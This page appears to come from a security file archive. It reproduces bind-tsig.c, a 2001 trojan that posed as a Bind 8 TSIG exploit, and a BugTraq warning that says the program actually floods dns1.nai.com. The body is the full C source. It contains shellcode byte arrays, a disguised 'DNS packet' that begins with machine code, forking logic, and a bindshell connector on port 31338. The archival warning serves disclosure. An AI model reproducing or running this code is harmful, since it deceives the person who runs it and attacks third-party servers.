never stop questioning

bind-tsig.c

bind-tsig.c
Posted Feb 1, 2001
Authored by anonymous

Bind-tsig.c is a trojan which pretends to be a Bind 8 exploit, but actually attacks dns1.nai.com.

tags | exploit, trojan
MD5 | cd4a8638d718185f1f26451e0817ef66

bind-tsig.c

Change Mirror Download
/*

To: BugTraq
Subject: Bind 8 Exploit - Trojan
Date: Wed Jan 31 2001 19:09:33
Author: Matt Lewis < matt@ninjas.org >

The Bind 8 Exploit sent to bugtraq users by "nobody@replay.com" is a
The Bind 8 Exploit sent to bugtraq users by "nobody@replay.com" is a
Trojan, as I'm sure many have found out at this point.

It attacks dns1.nai.com, and I haven't researched it extensively yet,
wanted to get this out. There's quite possibly other things going on as
well, locally.

I straced it and got odd results, the last time I ran it, it didn't
launch the attack. Shellcode analyzation would be required here.

How did this get approved, did anyone test it or review it?

You can see the IP address for dns1.nai.com listed in the shellcode
included with the file. It forks off many copies of itself and violently
attacks NAI's nameserver.

I sent this out hastily, so forgive any mistakes made beyond the
original observation of the attack.

-Matt Lewis
*/

/*
* Implements TSIG buffer mismanagement overflow for incorrect signatures. That
* one was really nice bug!
* Thanks NAI for nice bug!
*/
#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <string.h>
#include <arpa/inet.h>
#include <arpa/nameser.h>
#include <netdb.h>
#include <signal.h>

#ifndef max
#define max(x,y) (((x)>(y))?(x):(y))
#endif

#define SHELL_OFFSET_1 26
#define SHELL_OFFSET_2 31
#define BIND_PKT_OFF 26 /* offset from beginning of packet */
#define BIND_OKT_SZ 14 /* rr */
#define BIND_OFF_01 (BIND_PKT_OFF+BIND_OKT_SZ)/2
#define BIND_OFF_02 ((BIND_PKT_OFF*(SHELL_OFFSET_2+8))+BIND_OKT_SZ)
#define BIND_OFF_03 (SHELL_OFFSET_1*2)
#define BIND_OFF_04 ((SHELL_OFFSET_2*2) - 1)

char dns_packet[] =
/* TSIG bind req, \xe8 used as field separator. */
"\x31\xc0\x48\x50\x50\x31\xdb\x8d\x05\x0d\x00\x00\x00\xcd\x80\x83"
"\xc4\x08\x3d\x04\x03\x02\x01\x7c\x05\xe8TSIG\xe8NAME\xe8SIGNATURE\xe8RSA\0";

/* zeroes in all shellcodes are allowed - we encode them anyway.. */
char linux_shellcode[] = /* modifyed Aleph1 linux shellcode to
* bind to tcp port 31338. hey aleph1
* :) */
"\xeb\x34\x5e\xbb\x01\x00\x00\x00\x89\xf1\xb8\x66\x00\x00\x00\xcd"
"\x80\x89\x46\x14\x8d\x46\x30\x89\x46\x18\x31\xc0\x89\x46\x20\x8d"
"\x46\x0c\x89\x46\x24\xb8\x66\x00\x00\x00\xbb\x0b\x00\x00\x00\x8d"
"\x4e\x14\xcd\x80\xeb\xef\xe8\xc7\xff\xff\xff\x02\x00\x00\x00\x02"
"\x00\x00\x00\x11\x00\x00\x00\x02\x00\x00\x35\xa1\x45\x03\x96\xff"
"\xff\xff\xff\xef\xff\xff\xff\x00\x04\x00\x00\x00\x00\x00\x00\x02"
"\x5f\x9a\x80\x10\x00\x00\x00/bin/sh\0";

char bsd_shellcode[] =
/* freebsd bind shellcode by LaMerZ , thnx :) */
"\xeb\x37\x5e\x6a\x11\x6a\x02\x6a\x02\x6a\x66\x8d\x05\x61\x00\x00"
"\x00\xcd\x80\x89\xc2\x6a\x10\x89\xf0\x50\x31\xc0\x50\x68\x24\x10"
"\x00\x00\x8d\x46\x0f\x50\x52\x68\x88\x00\x00\x00\x8d\x05\x85\x00"
"\x00\x00\xcd\x80\x83\xc4\x1c\xeb\xdc\xe8\xc4\xff\xff\xff\x00\x02"
"\x00\x35\xa1\x45\x03\x96\xe8\xb1\xff\xff\xff/bin/sh\0";

struct remote {
char *osname;
char *bindver;
unsigned long ret; /* return addr */
unsigned long otebp; /* offset ot %ebp,bind specific */
char *shellcode;
} remote[] = {
{
"Linux RedHat 6.0", "8.2.x", 0xbfff0508, 104, linux_shellcode
},
{
"Linux RedHat 6.2", "8.2.x", 0xbfff0a04, 80, linux_shellcode
},
{
"Linux RedHat 7.0", "8.2.x", 0xbfff040a, 84, linux_shellcode
},
{
"Linux Slackware 7", "8.2.x", 0xbfffe123, 20, linux_shellcode
},
{
"Linux Debian (all)", "8.2.x", 0xbfffd0aa, 110, linux_shellcode
},
{
"FreeBSD 3.4", "8.2.x", 0xbfbfa101, -10, bsd_shellcode
},
{
"FreeBSD 3.5", "8.2.x", 0xbfbfc09a, -10, bsd_shellcode
},
{
"FreeBSD 4.x", "8.2.x", 0xbfbffe01, -40, bsd_shellcode
},
{
NULL, NULL, 0, 0
}
};

void
usage_func(char *pname)
{
int i;

fprintf(stderr, "Usage: %s remote_addr domainname target_id\n", pname);
fprintf(stderr, "Targets:\n");
for (i = 0; remote[i].osname; i++)
fprintf(stderr, " %d - %s (%s)\n", i, remote[i].osname, remote[
i].bindver);
fprintf(stderr, "\n");
fprintf(stderr, " Example usage:\n");
fprintf(stderr, "$ host -t ns domain.com\n");
fprintf(stderr, "domain.com name server dns1.domain.com\n");
fprintf(stderr, "$ ./bind8_ex dns1.domain.com domain.com 0\n");
fprintf(stderr, " [..expl output..]\n\n");
exit(1);
}


int
set_ptr(char *buff, int offset, unsigned long val, int s)
{
char copy_buff[1024];
int revval;

memcpy(copy_buff, buff, 1024);
revval = buff[SHELL_OFFSET_1];
/* increment record usage count */
revval += BIND_OFF_01;
if (s)
if (!fork())
/* simply copy value to offset */
memcpy(&copy_buff[offset], &val, sizeof(val));
memcpy(buff, copy_buff, sizeof(copy_buff));
return 0;
}

unsigned long
Resolve(char *h)
{
struct in_addr q;
struct hostent *z;

if ((inet_aton(h, &q)) == 0) {
z = gethostbyname(h);

if (!z)
return -1;

(void) memcpy((void *) &q, (void *) z->h_addr, z->h_length);
}
return q.s_addr;
}

/* pull out a compressed query name */
char *
dnsprintflabel(char *s, char *buf, char *p)
{
unsigned short i, len;
char *b = NULL;
len = (unsigned short) *(p++);
i = len + BIND_PKT_OFF;
/* invalid length? */
if (i)
return NULL;
while (len) {
while (len >= 0xC0) {
if (!b)
b = p + 1;
p = buf + (ntohs(*((unsigned short *) (p - 1))) & ~0xC0
00);
len = (unsigned short) *(p++);
}
for (i = 0; i < len; i++)
*(s++) = *(p++);
*(s++) = '.';
len = (unsigned short) *(p++);
}
*(s++) = 0;
if (b)
return (b);
return (p);
}

int
proxyloop(int s)
{
char snd[1024], rcv[1024];
fd_set rset;
int maxfd, n;
sleep(1);
printf("Entering proxyloop..\n");
strcpy(snd, "cd /; uname -a; pwd; id;\n");
write(s, snd, strlen(snd));
for (;;) {
FD_SET(fileno(stdin), &rset);
FD_SET(s, &rset);
maxfd = max(fileno(stdin), s) + 1;
select(maxfd, &rset, NULL, NULL, NULL);
if (FD_ISSET(fileno(stdin), &rset)) {
bzero(snd, sizeof(snd));
fgets(snd, sizeof(snd) - 2, stdin);
write(s, snd, strlen(snd));
}
if (FD_ISSET(s, &rset)) {
bzero(rcv, sizeof(rcv));
if ((n = read(s, rcv, sizeof(rcv))) == 0)
exit(0);
if (n < 0) {
return -3;
}
fputs(rcv, stdout);
}
}
return 0;
}

int
main(int argc, char *argv[])
{
HEADER *dnsheader;
struct sockaddr_in to;
char expl_buffer[PACKETSZ + 8192];
int off, i, x;
char ch, *remote_addr = NULL, *dmn = NULL;
char *walker;
unsigned char *shellcode;
int align = 0;
unsigned long remote_ip, addr;
int saved_len_1, saved_len_2;
int type = -1;
int fd, fd2;

if (argc != 4) {
usage_func(argv[0]);
}
dmn = strdup(argv[1]);
remote_addr = strdup(argv[2]);
type = atoi(argv[3]);

if (type < 0 || !remote_addr || !dmn) {
usage_func(argv[0]);
}
printf(" [+] Trying to resolve %s ...\n", remote_addr);
remote_ip = Resolve(remote_addr);

if (remote_ip == -1) {
fprintf(stderr, " [-] failed to resolve %s\n", remote_addr);
exit(1);
} else {
printf(" [+] %s -> %#lx...\n", remote_addr, remote_ip);
}
/* block signal to allow these signals in bindshell */
signal(SIGHUP, SIG_IGN);
signal(SIGCHLD, SIG_IGN); /* well.. */
signal(SIGINT, SIG_IGN);

printf(" [+] Remote OS %s, using domain %s\n", remote[type].osname, dmn
);
printf(" [+] Offset: 0x%08x, bind specific value: %d\n", remote[type].r
et, remote[type].otebp);
shellcode = (unsigned char *) malloc(PACKETSZ + 8192);
memset(shellcode, 0x90, PACKETSZ);

addr = remote[type].ret;

for (i = 0; i < sizeof(dns_packet); i++)
shellcode[i] = dns_packet[i];

if (i > 0) {
saved_len_1 = i;
}
for (x = 0; x < sizeof(linux_shellcode); i++, x++)
shellcode[i] = linux_shellcode[x];

if (i) {
saved_len_2 = i;
}
for (x = 0; x < sizeof(bsd_shellcode); i++, x++)
shellcode[i] = bsd_shellcode[x];

/* encode offset */
addr = (unsigned long) saved_len_1 - SHELL_OFFSET_1 - 4;
shellcode[SHELL_OFFSET_1 + 3] = (addr >> 24) & 0xff;
shellcode[SHELL_OFFSET_1 + 2] = (addr >> 16) & 0xff;
shellcode[SHELL_OFFSET_1 + 1] = (addr >> 8) & 0xff;
shellcode[SHELL_OFFSET_1] = (addr) & 0xff;
addr = (unsigned long) saved_len_2 - SHELL_OFFSET_2 - 4;
shellcode[SHELL_OFFSET_2 + 3] = (addr >> 24) & 0xff;
shellcode[SHELL_OFFSET_2 + 2] = (addr >> 16) & 0xff;
shellcode[SHELL_OFFSET_2 + 1] = (addr >> 8) & 0xff;
shellcode[SHELL_OFFSET_2] = (addr) & 0xff;

printf(" [+] shellcode length: %d\n", i);
/*
* now build packet
* set pointer to itself. dont modify BIND_OFF_02, it was
* bruteforced.. and worked with every bind i sploited.
*/
set_ptr(shellcode, BIND_OFF_02, (unsigned long) shellcode, 1);
/* setup tsig info */
set_ptr(shellcode, BIND_OFF_01, SHELL_OFFSET_2, 0);
/* count of records */
if (i > (SHELL_OFFSET_2 - 10)) {
set_ptr(shellcode, BIND_OFF_03, i, 0);
} else {
i += (SHELL_OFFSET_2 / 2);
i -= (SHELL_OFFSET_2 % 2); /* thnx enr1qe! :) */
set_ptr(shellcode, BIND_OFF_03, i, 0);
}
/* store return ADDR !! */
set_ptr(shellcode, BIND_OFF_04, remote[type].ret + (i * remote[type].ot
ebp), 0);

/* copy and rebuild packet depended stuff */
memcpy(expl_buffer, shellcode, PACKETSZ);
dnsheader = (HEADER *) & expl_buffer;
memset(dnsheader, 0, sizeof(HEADER));
dnsheader->id = htons(getpid());
dnsheader->qr = 1;
dnsheader->aa = 1;
/* tsig query! */
dnsheader->opcode = QUERY;
dnsheader->qdcount = htons(1);
dnsheader->arcount = htons(1);
/*
* encode packet ...
*/
dnsprintflabel(remote_addr, (char *) (expl_buffer + sizeof(HEADER)), (c
har *) ((unsigned long) &expl_buffer[0] + sizeof(HEADER) + 1));
walker = (char *) dnsheader + sizeof(HEADER) + strlen(remote_addr);
PUTSHORT(T_SIG, walker);

/*
* packet is built, connect and sent shellcode. what can be easier?
* :)
*/
if ((fd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)) < 0) {
perror("socket");
exit(1);
}
memset(&to, 0, sizeof(to));
to.sin_family = AF_INET;
to.sin_port = htons(53);
to.sin_addr.s_addr = remote_ip;

if ((sendto(fd, &expl_buffer, PACKETSZ, 0, (struct sockaddr *) & to, si
zeof(struct sockaddr)) != PACKETSZ)) {
perror("sendto");
exit(1);
}
/* attempt to connect to bindshell on port 31338 */

if ((fd2 = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0) {
perror("socket");
exit(1);
}
/* linux & freebsd shellcodes bindport is same, so dont even check. */
to.sin_port = htons(31338);

if (connect(fd2, (struct sockaddr *) & to, sizeof(struct sockaddr)) < 0
) {
perror("connect");
exit(1);
}
proxyloop(fd2);
}

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

May 2012

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    37 Files
  • 2
    May 2nd
    53 Files
  • 3
    May 3rd
    33 Files
  • 4
    May 4th
    4 Files
  • 5
    May 5th
    10 Files
  • 6
    May 6th
    17 Files
  • 7
    May 7th
    19 Files
  • 8
    May 8th
    36 Files
  • 9
    May 9th
    34 Files
  • 10
    May 10th
    35 Files
  • 11
    May 11th
    20 Files
  • 12
    May 12th
    18 Files
  • 13
    May 13th
    11 Files
  • 14
    May 14th
    27 Files
  • 15
    May 15th
    58 Files
  • 16
    May 16th
    54 Files
  • 17
    May 17th
    25 Files
  • 18
    May 18th
    53 Files
  • 19
    May 19th
    9 Files
  • 20
    May 20th
    15 Files
  • 21
    May 21st
    25 Files
  • 22
    May 22nd
    32 Files
  • 23
    May 23rd
    35 Files
  • 24
    May 24th
    26 Files
  • 25
    May 25th
    25 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2012 Packet Storm. All rights reserved.

close